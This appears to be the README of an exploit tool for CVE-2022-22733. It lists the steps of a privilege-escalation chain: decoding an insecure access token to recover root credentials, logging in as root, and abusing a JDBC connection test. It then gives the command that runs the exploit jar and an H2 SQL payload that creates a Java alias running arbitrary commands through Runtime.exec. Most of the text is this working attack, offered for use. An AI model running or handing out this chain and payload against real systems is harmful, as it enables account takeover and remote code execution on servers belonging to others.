CVE-2022-22733 JAR

The Exploit Works as the following:

• Login with the low-privileged account.

• Obtain the unsecure generated accessToken.

• Decode the unsecure generated accessToken.

• Parse the decoded data from the accessToken.

• Retrive root account credentials from the parsed data.

• Login with the root account credentials and obtain a full privileges on the application.

• Send a Connection Test request with abusing of the``JDBC` Attack.

• Execute jar:

java -jar CVE-2022-22733.jar

• SQL script code:

CREATE ALIAS EXEC AS 'String shellexec(String cmd) throws java.io.IOException {Runtime.getRuntime().exec(cmd);return "123";}';CALL EXEC ('your_command_here')